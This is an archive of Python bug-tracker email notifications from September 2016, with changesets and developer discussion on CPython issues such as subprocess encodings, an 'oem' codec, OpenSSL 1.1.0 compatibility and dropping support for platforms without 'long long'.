<http://bugs.python.org/issue25387>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:38:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 22:38:44 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <20160905223840.6530.53650.B9E08810@psf.io>


Roundup Robot added the comment:

New changeset ee32af890e27 by Christian Heimes in branch 'default':
Issue 27744: Check for AF_ALG support in Kernel
https://hg.python.org/cpython/rev/ee32af890e27

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:40:55 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 05 Sep 2016 22:40:55 +0000
Subject: [issue27106] configparser.__all__ is incomplete
In-Reply-To: <1464121705.13.0.123221989673.issue27106@psf.upfronthosting.co.za>
Message-ID: <1473115255.1.0.105954882801.issue27106@psf.upfronthosting.co.za>


?ukasz Langa added the comment:

I'm still not convinced this change is *useful*. The list of incompatibilities in Python 3.6 in whatsnew is going to be used retrospectively by people already affected by a production issue, googling for an explanation as to what went wrong.

I like the idea of adding a unit test that clarifies the omission is deliberate at this point.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27106>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:48:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 22:48:49 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <20160905224846.38003.39199.166DF78E@psf.io>


Roundup Robot added the comment:

New changeset 99818330b4c0 by Victor Stinner in branch 'default':
Issue #27938: Add a fast-path for us-ascii encoding
https://hg.python.org/cpython/rev/99818330b4c0

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:51:07 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 05 Sep 2016 22:51:07 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473115867.75.0.0964742137048.issue27938@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> See also get_standard_encoding() in Python/codecs.c. I suppose it is faster.

I understand that PyCodec_SurrogatePassErrors() is already called with a normalized encoding name.

With my enhanced _Py_normalize_encoding(), strange syntaxes like " utf 8 " also take the fast path.


> UTF-32 is rarely used as external encoding, but ...

Ok, I used the same design than get_standard_encoding() to match the "utf" prefix, so having a fast-path for UTF-16 and UTF-32 doesn't add new strcmp() for "latin9".

I pushed my change, so I close the issue.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:51:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 05 Sep 2016 22:51:48 +0000
Subject: [issue27915] Use 'ascii' instead of 'us-ascii' to bypass lookup
 machinery
In-Reply-To: <1472656129.69.0.589278825642.issue27915@psf.upfronthosting.co.za>
Message-ID: <1473115908.88.0.61864683387.issue27915@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Since "us-ascii" got a fast-path thanks to the issue #27938, this patch is not needed anymore.

----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27915>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:59:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 22:59:06 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <20160905225903.6601.59108.B191D857@psf.io>


Roundup Robot added the comment:

New changeset 4ebe3ade6922 by Christian Heimes in branch 'default':
Issue 27744: AES-CBC and DRBG need Kernel 3.19+
https://hg.python.org/cpython/rev/4ebe3ade6922

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:10:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 23:10:53 +0000
Subject: [issue27748] Simplify test_winsound
In-Reply-To: <1471021956.0.0.678344945934.issue27748@psf.upfronthosting.co.za>
Message-ID: <20160905231050.22546.45993.A9356FA1@psf.io>


Roundup Robot added the comment:

New changeset fb74947843eb by Zachary Ware in branch '2.7':
Issue #27748: Backed out changeset 6137d0ed0a15
https://hg.python.org/cpython/rev/fb74947843eb

New changeset e85ce70b73b3 by Zachary Ware in branch '3.5':
Issue #27748: Backed out changeset f845e24d794e
https://hg.python.org/cpython/rev/e85ce70b73b3

New changeset 29300ed6dffe by Zachary Ware in branch 'default':
Issue #27748: Merge with 3.5
https://hg.python.org/cpython/rev/29300ed6dffe

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27748>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:13:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 23:13:56 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <20160905231353.22113.35789.31D65AAD@psf.io>


Roundup Robot added the comment:

New changeset 5566732c8ac5 by Christian Heimes in branch '3.5':
Issue #26470: Use short name rather than name for compression name to fix #27958.
https://hg.python.org/cpython/rev/5566732c8ac5

New changeset 2593ed9a6a62 by Christian Heimes in branch '2.7':
Issue #26470: Use short name rather than name for compression name to fix #27958.
https://hg.python.org/cpython/rev/2593ed9a6a62

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:13:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 23:13:56 +0000
Subject: [issue27958] 'zlib compression' not found in set(['RLE', 'ZLIB',
 None])
In-Reply-To: <1473114237.79.0.529553102589.issue27958@psf.upfronthosting.co.za>
Message-ID: <20160905231353.22113.93063.0C2821ED@psf.io>


Roundup Robot added the comment:

New changeset 5566732c8ac5 by Christian Heimes in branch '3.5':
Issue #26470: Use short name rather than name for compression name to fix #27958.
https://hg.python.org/cpython/rev/5566732c8ac5

New changeset 2593ed9a6a62 by Christian Heimes in branch '2.7':
Issue #26470: Use short name rather than name for compression name to fix #27958.
https://hg.python.org/cpython/rev/2593ed9a6a62

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27958>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:14:46 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 23:14:46 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <20160905231444.8334.83385.65F7D30E@psf.io>


Roundup Robot added the comment:

New changeset d92f26a53b70 by Christian Heimes in branch 'default':
Issue #26470: Use short name rather than name for compression name to fix #27958.
https://hg.python.org/cpython/rev/d92f26a53b70

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:14:46 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 23:14:46 +0000
Subject: [issue27958] 'zlib compression' not found in set(['RLE', 'ZLIB',
 None])
In-Reply-To: <1473114237.79.0.529553102589.issue27958@psf.upfronthosting.co.za>
Message-ID: <20160905231444.8334.56362.8CDB40A6@psf.io>


Roundup Robot added the comment:

New changeset d92f26a53b70 by Christian Heimes in branch 'default':
Issue #26470: Use short name rather than name for compression name to fix #27958.
https://hg.python.org/cpython/rev/d92f26a53b70

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27958>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:14:56 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Mon, 05 Sep 2016 23:14:56 +0000
Subject: [issue20842] pkgutil docs should reference glossary terms not PEP 302
In-Reply-To: <1393846400.67.0.723549613222.issue20842@psf.upfronthosting.co.za>
Message-ID: <1473117296.04.0.931390546792.issue20842@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

I agree with the comment made by Oren. Not all instances of finder should be referenced as generic finder. Some classes and functions are are still PEP 302 specific finder.

In the commit, 3987667bf98f Nick Coghlan modified the following functions to to use importlib module, thus serving the PEP 302 bind. So these can refer to glossary entry for finder. The documentation has been updated with version changed information.

* get_importer (by the underlying change of using only sys.path_importer_cache and removing the use of ImpImporter)
* iter_importers (by using importlib.import_module)

The glossary entry for both finder and loader has been updated to include both PEP 302 finder, and with PEP 420 and PEP 451.

With these changes already in place, I updated the patch to reflect the current state. 

I am proceed with the commit as this is a non-controversial change. If there are comments, please share and I will address them.

----------
nosy: +orsenthil
Added file: http://bugs.python.org/file44381/issue20842-v3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20842>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:20:02 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 23:20:02 +0000
Subject: [issue20366] SQLite FTS (full text search)
In-Reply-To: <1390487950.26.0.724740577433.issue20366@psf.upfronthosting.co.za>
Message-ID: <20160905231958.115107.22094.F314279E@psf.io>


Roundup Robot added the comment:

New changeset d52f10a0f10d by Zachary Ware in branch 'default':
Closes #20366: Build full text search support into SQLite on Windows
https://hg.python.org/cpython/rev/d52f10a0f10d

----------
nosy: +python-dev
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20366>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:24:48 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 23:24:48 +0000
Subject: [issue27179] subprocess uses wrong encoding on Windows
In-Reply-To: <1464828766.51.0.809606583575.issue27179@psf.upfronthosting.co.za>
Message-ID: <1473117888.34.0.431844337074.issue27179@psf.upfronthosting.co.za>


Steve Dower added the comment:

Chatting about this with Victor we've decided to close this as a duplicate of issue6135 and continue the discussion there, and also focus mainly on exposing the parameter rather than trying to guess the correct encoding. I'll post more details on issue6135.

----------
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> subprocess seems to use local encoding and give no choice

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27179>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:26:53 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 23:26:53 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473118013.53.0.301583718023.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'll prepare a patch for the following:
* add encoding and errors parameters to subprocess functions
* add 'oem' encoding to make it easy to choose (but don't try and guess when it is used)

EITHER
* allow string or 2-tuple (stdin, stdout/err) or 3-tuple (stdin, stdout, stderr) for both encoding and errors
OR
* only allow single specified encoding/errors
* add stdin_opener/stdout_opener/stderr_opener parameters to produce the text-based reader

Any thoughts?

----------
assignee:  -> steve.dower
nosy: +steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:29:46 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 05 Sep 2016 23:29:46 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473118186.36.0.0900560131152.issue6135@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> * add 'oem' encoding to make it easy to choose (but don't try and guess when it is used)

I suggest to open a separated issue for that. By the way, you might also add "ansi"? See also the aliasmbcs() function of the site module.

Note: I never liked that aliasmbcs() is implemented in Python and is "optional" (not done with using python3 -S).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:37:32 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 23:37:32 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473118652.53.0.811326392661.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

'mbcs' is exactly equivalent to what 'ansi' would be, so that's just a matter of knowing the name. I'm okay with adding an alias for it though.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:41:40 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 23:41:40 +0000
Subject: [issue27959] Add 'oem' encoding
Message-ID: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>


New submission from Steve Dower:

Currently the ANSI encoding is available on Windows as 'mbcs', however the OEM encoding (sometimes used by console-based applications) is not easily available.

The implementation is identical to PyUnicode_DecodeMBCS[Stateful], simply passing CP_OEM instead of CP_ACP.

----------
assignee: steve.dower
components: Windows
messages: 274470
nosy: haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Add 'oem' encoding
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:43:33 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 23:43:33 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <1473119013.74.0.502840081379.issue27959@psf.upfronthosting.co.za>


Steve Dower added the comment:

While I'm here, should also move `aliasmbcs` from site.py into initialization - no reason for this behaviour to depend on importing site.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:47:31 2016
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 05 Sep 2016 23:47:31 +0000
Subject: [issue27960] Distutils tests are broken in 3.4
Message-ID: <1473119251.18.0.120707316704.issue27960@psf.upfronthosting.co.za>


New submission from Larry Hastings:

3.4.5 shipped with a working test suite.  Since the release of 3.4.5 somebody broke test_distutils in the 3.4 branch.  It needs to be fixed.

jason.coombs: AFAICT you were the last person to touch it.  Are you the one who broke it?


 % ./python -m test test_distutils
[1/1] test_distutils
test test_distutils crashed -- Traceback (most recent call last):
  File "/home/larry/src/python/broke34/Lib/test/regrtest.py", line 1279, in runtest_inner
    test_runner()
  File "/home/larry/src/python/broke34/Lib/test/test_distutils.py", line 13, in test_main
    test.support.run_unittest(distutils.tests.test_suite())
  File "/home/larry/src/python/broke34/Lib/distutils/tests/__init__.py", line 31, in test_suite
    suite.addTest(module.test_suite())
AttributeError: 'module' object has no attribute 'test_suite'

1 test failed:
    test_distutils

----------
assignee: jason.coombs
components: Tests
keywords: 3.4regression
messages: 274472
nosy: jason.coombs, larry, zach.ware
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Distutils tests are broken in 3.4
type: crash
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27960>
_______________________________________

From report at bugs.python.org  Mon Sep  5 19:50:29 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 05 Sep 2016 23:50:29 +0000
Subject: [issue27961] remove support for platforms without "long long"
Message-ID: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

Neither Python 2.7 nor 3.3+ compile without HAVE_LONG_LONG, so effectively this is already completely unsupported. Let's completely dump it in 3.6.

----------
components: Interpreter Core
messages: 274473
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: remove support for platforms without "long long"
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:09:54 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Tue, 06 Sep 2016 00:09:54 +0000
Subject: [issue20842] pkgutil docs should reference glossary terms not PEP 302
In-Reply-To: <1393846400.67.0.723549613222.issue20842@psf.upfronthosting.co.za>
Message-ID: <1473120594.15.0.0235557722577.issue20842@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

For 3.5 version of patch, we have bring in some additional changes from issue26896 which properly clarified finder from importer. These changes are not required in the default branch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20842>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:13:39 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Tue, 06 Sep 2016 00:13:39 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473120819.83.0.350767045355.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Updated and rebased patch. There's a few file tweaks here and there to stay up to date, otherwise it's mostly the same.

Martin, it may look like I've ignored your comments, but I'm trying to keep the patches as simple as possible, and so I don't want to go further than to make strings into raw strings (also the alignment issue you pointed out). I'd rather have the other issues addressed in another issue, as I want to get this merged in time for the feature freeze. The other issues (some which were already present) can be taken care of during the beta phase.

----------
title: Deprecate invalid unicode escape sequences -> Deprecate invalid escape sequences in str/bytes
Added file: http://bugs.python.org/file44382/invalid_stdlib_escapes_3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:16:41 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Tue, 06 Sep 2016 00:16:41 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473121001.52.0.792153493578.issue27137@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

We're one week from the feature freeze, seems like a good time to merge this :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:18:43 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Tue, 06 Sep 2016 00:18:43 +0000
Subject: [issue20842] pkgutil docs should reference glossary terms not PEP 302
In-Reply-To: <1393846400.67.0.723549613222.issue20842@psf.upfronthosting.co.za>
Message-ID: <1473121123.82.0.0245651269736.issue20842@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

This is 3.3 version of patch attached.

----------
Added file: http://bugs.python.org/file44383/issue20842-3.3-v5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20842>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:20:27 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Tue, 06 Sep 2016 00:20:27 +0000
Subject: [issue20842] pkgutil docs should reference glossary terms not PEP 302
In-Reply-To: <1393846400.67.0.723549613222.issue20842@psf.upfronthosting.co.za>
Message-ID: <1473121227.45.0.324976352847.issue20842@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

Change committed.

- 3.5 * 103098:ecbad01262c8
- default * 103099:ee58ece83391

----------
resolution:  -> fixed
stage: patch review -> commit review
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20842>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:23:00 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Tue, 06 Sep 2016 00:23:00 +0000
Subject: [issue26896] mix-up with the terms 'importer', 'finder',
 'loader' in the import system and related code
In-Reply-To: <1462046496.61.0.778323150916.issue26896@psf.upfronthosting.co.za>
Message-ID: <1473121380.48.0.937633278638.issue26896@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

The documentation changes made as part of this issue were applicable to 3.5 branch too. 

I had to touch the docs in this area as part of issue20842, and ended up with two patches one for 3.5 and another 3.6.

I think, it is a good idea to backport the change to 3.5 branch.

----------
nosy: +orsenthil

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26896>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:28:54 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 06 Sep 2016 00:28:54 +0000
Subject: [issue27961] remove support for platforms without "long long"
In-Reply-To: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>
Message-ID: <1473121734.74.0.512301303269.issue27961@psf.upfronthosting.co.za>


Changes by Benjamin Peterson <benjamin at python.org>:


----------
keywords: +patch
stage:  -> patch review
Added file: http://bugs.python.org/file44384/longlong.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:30:11 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 00:30:11 +0000
Subject: [issue27940] xml.etree: Avoid XML declaration for the "ascii" encoding
In-Reply-To: <1472813879.44.0.998977479164.issue27940@psf.upfronthosting.co.za>
Message-ID: <1473121811.96.0.394426469914.issue27940@psf.upfronthosting.co.za>


STINNER Victor added the comment:

New patch:

* Avoid codecs.lookup() for method != "xml"
* More unit tests

----------
Added file: http://bugs.python.org/file44385/etree_xml_declaration-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27940>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:33:31 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 00:33:31 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473122011.66.0.722812456345.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

Initial patch attached - tests to follow.

----------
Added file: http://bugs.python.org/file44386/6135_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:33:47 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 00:33:47 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <1473122027.81.0.672089269533.issue27959@psf.upfronthosting.co.za>


Steve Dower added the comment:

Initial patch attached - tests to follow.

----------
keywords: +patch
Added file: http://bugs.python.org/file44387/27959_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:39:18 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 06 Sep 2016 00:39:18 +0000
Subject: [issue27961] remove support for platforms without "long long"
In-Reply-To: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>
Message-ID: <1473122358.59.0.347741692131.issue27961@psf.upfronthosting.co.za>


Martin Panter added the comment:

Makes sense if it already doesn?t work without HAVE_LONG_LONG. This also came up in discussion of adding a BLAKE2 hash algorithm: <https://www.mail-archive.com/search?l=mid&q=CAMpsgwZJ47osOt597YedkAqXisu3b_4giTBXSMq6GH%2B_yLf2aw at mail.gmail.com>.

FWIW the normal Windows compiler may not actually have ?long long?; we use __int64 instead:

https://hg.python.org/cpython/annotate/default/PC/pyconfig.h#l267

so maybe in some places (such as this bug title) you should refer to PY_LONG_LONG rathe than ?long long? to avoid confusion :)

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:42:25 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 00:42:25 +0000
Subject: [issue27961] remove support for platforms without "long long"
In-Reply-To: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>
Message-ID: <1473122545.43.0.438374635308.issue27961@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Python/pytime.c of Python 3.5 requires a 64-bit integer type and Py_LONG_LONG. Nobody complains, so I'm in favor of dropping all these annoying HAVE_LONG_LONG and just use directly Py_LONG_LONG. It should simplify the code at lot!

By the way, it would be cool to get intmax_t and uintmax_t types in Python (C code). These types are more convenient than having to play with #ifdef or if (value < ..._MAX).

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:43:32 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 06 Sep 2016 00:43:32 +0000
Subject: [issue27961] remove support for platforms without "long long"
In-Reply-To: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>
Message-ID: <1473122612.15.0.845144740594.issue27961@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

MSVC 2008 (at least) is documented to have "long long", too. https://msdn.microsoft.com/en-us/library/s3f49ktz(v=vs.90).aspx

In fact, after this patch, I'm probably going to go s/PY_LONG_LONG/long long/.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:45:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 00:45:27 +0000
Subject: [issue27961] remove support for platforms without "long long"
In-Reply-To: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>
Message-ID: <20160906004456.104224.86007.9F9DFFFA@psf.io>


Roundup Robot added the comment:

New changeset 9206a86f7321 by Benjamin Peterson in branch 'default':
require a long long data type (closes #27961)
https://hg.python.org/cpython/rev/9206a86f7321

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Mon Sep  5 20:50:52 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 00:50:52 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <1473123052.05.0.665599565772.issue27959@psf.upfronthosting.co.za>


Steve Dower added the comment:

Forgot to include the oem.py file in that patch, but it's basically identical to mbcs.py except calling 'oem_encode' and 'oem_decode'. It'll be in the next one

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Mon Sep  5 21:00:04 2016
From: report at bugs.python.org (George Slavin)
Date: Tue, 06 Sep 2016 01:00:04 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473123604.25.0.743550851134.issue27889@psf.upfronthosting.co.za>


George Slavin added the comment:

I can reproduce this issue with Python 2.7.12 and Python 3.5.2 on a Arch linux VM using the python script provided, but I think this is an error in the code. 

The repro is tied to the time.sleep call in the try block.  If I do time.sleep(1), I can reproduce the issue almost every time (with or without ctypes).  When the time.sleep() call is too short, you reach the finally block before the main thread receives the signal.  Because you're in the finally block, the exception isn't caught.

----------
nosy: +gslavin

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Mon Sep  5 21:05:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 01:05:45 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473123945.66.0.73803474399.issue6135@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I'm not sure that about "advanced API" to specify an encoding per stream, or even change other parameters like buffering or newlines.

I suggest to start with the least controversal part: add encoding and errors and only accept a string.

More patches can come later.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Mon Sep  5 21:17:47 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 06 Sep 2016 01:17:47 +0000
Subject: [issue27960] Distutils tests are broken in 3.4
In-Reply-To: <1473119251.18.0.120707316704.issue27960@psf.upfronthosting.co.za>
Message-ID: <1473124667.56.0.360535284225.issue27960@psf.upfronthosting.co.za>


Martin Panter added the comment:

Probably related to the <https://hg.python.org/cpython/log/3.4/Lib/distutils/tests/test_filelist.py> changes and Issue 12885. Most of the changes were probably reverted from 3.4 in revision e82b995d1a5c, but it looks like we also need to fully revert cc86e9e102e8 to add test_suite() back.

The foolproof thing would be to copy the old working version of these files, review the diff, and check it back in as a new commit.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27960>
_______________________________________

From report at bugs.python.org  Mon Sep  5 21:30:41 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 01:30:41 +0000
Subject: [issue27959] Add 'oem' encoding
